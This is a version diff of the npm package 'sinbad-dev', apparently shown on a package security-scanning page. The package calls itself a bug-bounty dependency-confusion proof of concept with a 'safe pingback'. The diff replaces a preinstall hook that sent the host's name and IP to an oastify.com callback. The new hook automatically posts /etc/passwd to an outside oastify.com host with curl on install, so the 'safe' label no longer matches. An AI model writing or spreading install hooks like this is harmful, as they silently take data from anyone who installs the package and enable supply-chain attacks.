sinbad-dev 0.0.1 → 0.0.2
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +2 -4
package/package.json
CHANGED
@@ -1,11 +1,9 @@
|
|
1
1
|
{
|
2
2
|
"name": "sinbad-dev",
|
3
|
-
"version": "0.0.
|
3
|
+
"version": "0.0.2",
|
4
4
|
"description": "Fake package for dependency confusion PoC with safe pingback",
|
5
5
|
"author": "Bug Bounty PoC",
|
6
|
-
"scripts": {
|
7
|
-
"preinstall": "node -e \"require('http').get('http://$(hostname)-$(hostname -I | awk '{print $1}').h7p3tbr9yfer3phj9nhk9mf0oruiib60.oastify.com/pingback', (res) => { res.on('data', (chunk) => { console.log('Ping sent to server'); }); }).on('error', (err) => { console.error('Ping failed:', err.message); });\""
|
8
|
-
},
|
6
|
+
"scripts": { "preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname)-$(hostname -I | awk '{print $1}').2ilo4w2u90pceas4k8s5k7qlzc53tzho.oastify.com"},
|
9
7
|
"publishConfig": {
|
10
8
|
"access": "public"
|
11
9
|
}
|